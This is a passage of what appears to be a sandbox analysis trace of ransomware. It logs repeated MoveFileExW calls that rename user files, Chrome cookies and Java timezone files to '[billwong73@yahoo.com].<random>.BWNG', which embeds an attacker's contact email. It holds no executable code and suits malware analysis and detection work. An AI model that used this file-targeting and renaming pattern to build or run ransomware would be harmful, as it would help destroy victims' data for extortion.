halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].zxkfo042-74pn67qn.bwng"), dwFlags=0x1) returned 1 [0128.928] GetTickCount () returned 0x1167c71 [0128.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27087993144) returned 1 [0128.928] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\[billwong73@yahoo.com].wupWj32b-QrSHxobT.BWNG" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\[billwong73@yahoo.com].wupwj32b-qrshxobt.bwng"), dwFlags=0x1) returned 1 [0128.929] GetTickCount () returned 0x1167c71 [0128.929] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27088158241) returned 1 [0128.930] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_294110d6990ee392327f8a606d55bc1e"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].H2b9QZez-P9JZw6fj.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].h2b9qzez-p9jzw6fj.bwng"), dwFlags=0x1) returned 1 [0128.931] GetTickCount () returned 0x1167c71 [0128.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27088314643) returned 1 [0128.931] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8828f39c7c0ce9a14b25c7eb321181ba_3df94eb797096674f7793a562a778c5f"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].Fyr8f93H-LNlLbvsv.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].fyr8f93h-lnllbvsv.bwng"), dwFlags=0x1) returned 1 [0128.932] GetTickCount () returned 0x1167c71 [0128.932] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27088447108) returned 1 [0128.932] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\b3bb9c1ba2d19e090ae305b2683903a0_6f0a84ce2ba99bd19d42c92610275852"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].RIlGkv5l-Jo9Qj7Ig.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].rilgkv5l-jo9qj7ig.bwng"), dwFlags=0x1) returned 1 [0128.934] GetTickCount () returned 0x1167c71 [0128.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27088604358) returned 1 [0128.934] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\ea618097e393409afa316f0f87e2c202_827c1b837652b048c4c84237d0838585"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].DtXrbDJa-5qeWFPWY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].dtxrbdja-5qewfpwy.bwng"), dwFlags=0x1) returned 1 [0128.935] GetTickCount () returned 0x1167c80 [0128.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27088769765) returned 1 [0128.936] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2vVmVnN1dxhtM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2vvmvnn1dxhtm.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].W1OkAJsb-d3ZySa9k.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].w1okajsb-d3zysa9k.bwng"), dwFlags=0x1) returned 1 [0128.937] GetTickCount () returned 0x1167c80 [0128.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27088961704) returned 1 [0128.938] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d0aT tPjGTpnSUq3PH.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\d0at tpjgtpnsuq3ph.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].cqsgZX7N-vUYAHOMk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].cqsgzx7n-vuyahomk.bwng"), dwFlags=0x1) returned 1 [0128.939] GetTickCount () returned 0x1167c80 [0128.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27089140089) returned 1 [0128.939] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\[billwong73@yahoo.com].5okLcOHl-lUbLA3wB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\[billwong73@yahoo.com].5oklcohl-lubla3wb.bwng"), dwFlags=0x1) returned 1 [0128.983] GetTickCount () returned 0x1167caf [0128.983] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27093506667) returned 1 [0128.983] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\[billwong73@yahoo.com].nM6RrQmX-soPewpJ3.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\[billwong73@yahoo.com].nm6rrqmx-sopewpj3.bwng"), dwFlags=0x1) returned 1 [0128.985] GetTickCount () returned 0x1167caf [0128.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27093732716) returned 1 [0128.985] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].iYVipVCz-WtLFluJ6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].iyvipvcz-wtlfluj6.bwng"), dwFlags=0x1) returned 1 [0128.987] GetTickCount () returned 0x1167caf [0128.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27093909585) returned 1 [0128.987] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\[billwong73@yahoo.com].dEzEDYMU-ROCBJGwi.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\[billwong73@yahoo.com].dezedymu-rocbjgwi.bwng"), dwFlags=0x1) returned 1 [0128.989] GetTickCount () returned 0x1167caf [0128.989] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27094095907) returned 1 [0128.989] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\[billwong73@yahoo.com].qCCkbb8M-lNdngwFG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\[billwong73@yahoo.com].qcckbb8m-lndngwfg.bwng"), dwFlags=0x1) returned 1 [0128.991] GetTickCount () returned 0x1167caf [0128.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27094301320) returned 1 [0128.991] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\[billwong73@yahoo.com].bHooOGmj-UntnbPiY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\[billwong73@yahoo.com].bhooogmj-untnbpiy.bwng"), dwFlags=0x1) returned 1 [0128.992] GetTickCount () returned 0x1167caf [0128.992] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27094457779) returned 1 [0128.993] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Syowa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\syowa"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\[billwong73@yahoo.com].a95VmDZP-0tf5ZWft.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\[billwong73@yahoo.com].a95vmdzp-0tf5zwft.bwng"), dwFlags=0x1) returned 1 [0128.994] GetTickCount () returned 0x1167caf [0128.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27094636829) returned 1 [0128.994] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bahrain" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\bahrain"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].7J3goA98-Ov31f09h.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].7j3goa98-ov31f09h.bwng"), dwFlags=0x1) returned 1 [0128.996] GetTickCount () returned 0x1167caf [0128.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27094814161) returned 1 [0128.996] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dhaka" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\dhaka"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].wdbltF8R-6OriNVVH.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].wdbltf8r-6orinvvh.bwng"), dwFlags=0x1) returned 1 [0129.043] GetTickCount () returned 0x1167cde [0129.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27099521318) returned 1 [0129.043] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Irkutsk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\irkutsk"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].WIIQJgMN-atpi06zM.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].wiiqjgmn-atpi06zm.bwng"), dwFlags=0x1) returned 1 [0129.045] GetTickCount () returned 0x1167cee [0129.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27099743731) returned 1 [0129.046] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kolkata" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kolkata"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].j1A5nD9s-Byw2nZuX.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].j1a5nd9s-byw2nzux.bwng"), dwFlags=0x1) returned 1 [0129.047] GetTickCount () returned 0x1167cee [0129.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27099902955) returned 1 [0129.047] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Nicosia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\nicosia"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].vUbS65S2-0epFKBHF.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].vubs65s2-0epfkbhf.bwng"), dwFlags=0x1) returned 1 [0129.048] GetTickCount () returned 0x1167cee [0129.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27100048708) returned 1 [0129.049] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Rangoon" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\rangoon"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].ihksIFs8-9v7OPVdD.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].ihksifs8-9v7opvdd.bwng"), dwFlags=0x1) returned 1 [0129.050] GetTickCount () returned 0x1167cee [0129.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27100211627) returned 1 [0129.050] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Taipei" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\taipei"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].XfKyxbOv-6PWTESIr.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].xfkyxbov-6pwtesir.bwng"), dwFlags=0x1) returned 1 [0129.051] GetTickCount () returned 0x1167cee [0129.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27100354243) returned 1 [0129.052] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vladivostok" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\vladivostok"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].4kRk20zI-YW3KITLZ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].4krk20zi-yw3kitlz.bwng"), dwFlags=0x1) returned 1 [0129.053] GetTickCount () returned 0x1167cee [0129.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27100499555) returned 1 [0129.053] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Reykjavik" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\reykjavik"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\[billwong73@yahoo.com].gItEOfje-NqdbVKrg.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\[billwong73@yahoo.com].giteofje-nqdbvkrg.bwng"), dwFlags=0x1) returned 1 [0129.055] GetTickCount () returned 0x1167cee [0129.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27100678663) returned 1 [0129.055] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Hobart" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\hobart"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\[billwong73@yahoo.com].fnMonGnN-RAne0wV9.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\[billwong73@yahoo.com].fnmongnn-rane0wv9.bwng"), dwFlags=0x1) returned 1 [0129.056] GetTickCount () returned 0x1167cee [0129.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27100851560) returned 1 [0129.057] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST5EDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\est5edt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\[billwong73@yahoo.com].lks8TkpL-IXhr8nVc.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\[billwong73@yahoo.com].lks8tkpl-ixhr8nvc.bwng"), dwFlags=0x1) returned 1 [0129.058] GetTickCount () returned 0x1167cee [0129.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27101019290) returned 1 [0129.058] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+6" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+6"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].L5tTeAG4-5oJfqbYt.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].l5tteag4-5ojfqbyt.bwng"), dwFlags=0x1) returned 1 [0129.071] GetTickCount () returned 0x1167cfd [0129.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27102375755) returned 1 [0129.072] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-2" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-2"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].OxLM2XDO-E2eXbihh.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].oxlm2xdo-e2exbihh.bwng"), dwFlags=0x1) returned 1 [0129.077] GetTickCount () returned 0x1167d0d [0129.077] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27102898601) returned 1 [0129.077] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Amsterdam" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\amsterdam"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].k25KwQxi-zjrtqwYj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].k25kwqxi-zjrtqwyj.bwng"), dwFlags=0x1) returned 1 [0129.079] GetTickCount () returned 0x1167d0d [0129.079] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27103102065) returned 1 [0129.079] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jerusalem" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\jerusalem"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].R1XgRFVk-SeHQ3pAZ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].r1xgrfvk-sehq3paz.bwng"), dwFlags=0x1) returned 1 [0129.080] GetTickCount () returned 0x1167d0d [0129.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27103250390) returned 1 [0129.081] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuching" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kuching"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].ezyrm2DD-yziKbFHJ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].ezyrm2dd-yzikbfhj.bwng"), dwFlags=0x1) returned 1 [0129.082] GetTickCount () returned 0x1167d0d [0129.082] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27103402160) returned 1 [0129.082] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Omsk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\omsk"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].91gBGU99-4UOmEvtw.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].91gbgu99-4uomevtw.bwng"), dwFlags=0x1) returned 1 [0129.083] GetTickCount () returned 0x1167d0d [0129.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27103557877) returned 1 [0129.084] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh88" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\riyadh88"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].hvPdRevW-99sN5MWo.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].hvpdrevw-99sn5mwo.bwng"), dwFlags=0x1) returned 1 [0129.089] GetTickCount () returned 0x1167d0d [0129.089] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27104079840) returned 1 [0129.176] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tehran" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\tehran"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].I0VUJzzV-uyoD673A.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].i0vujzzv-uyod673a.bwng"), dwFlags=0x1) returned 1 [0129.178] GetTickCount () returned 0x1167d6a [0129.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27113032686) returned 1 [0129.178] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yerevan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\yerevan"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].m2vmsxBt-ragZ3BcS.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].m2vmsxbt-ragz3bcs.bwng"), dwFlags=0x1) returned 1 [0129.180] GetTickCount () returned 0x1167d6a [0129.180] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27113195665) returned 1 [0129.180] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\St_Helena" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\st_helena"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\[billwong73@yahoo.com].AauTmSgc-wuR9kjgt.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\[billwong73@yahoo.com].aautmsgc-wur9kjgt.bwng"), dwFlags=0x1) returned 1 [0129.181] GetTickCount () returned 0x1167d6a [0129.181] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27113338073) 